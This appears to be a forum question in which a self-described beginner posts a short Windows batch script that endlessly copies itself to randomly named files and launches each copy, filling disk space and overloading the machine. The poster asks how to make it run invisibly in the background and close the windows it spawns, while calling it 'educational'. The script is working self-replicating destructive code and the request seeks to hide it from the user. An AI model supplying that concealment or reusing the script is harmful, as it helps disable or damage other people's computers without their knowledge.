I am running a batch file that is malicious (for educational reasons) for my school. 
What it does is it will repeat and worm and use up space. What i am looking for is to run it and be able to run it in the background so that it wont popup in the foreground. Like me going on facebook and it running in the background not affecting what i am doing. Again, not looking to harm any specific PC with this. 

I am very new to batch. 

```
@echo off 
:A 
SET /A X=%RANDOM%%%1999999999% 
type damage.bat >> %x%.bat 
start %x%.bat 
goto:A 

```

Please help me be able to run this into the background instead of the foreground. 

Any help would be appreciated very much!

EDIT:: could you also make it automatically close out all the windows it creates?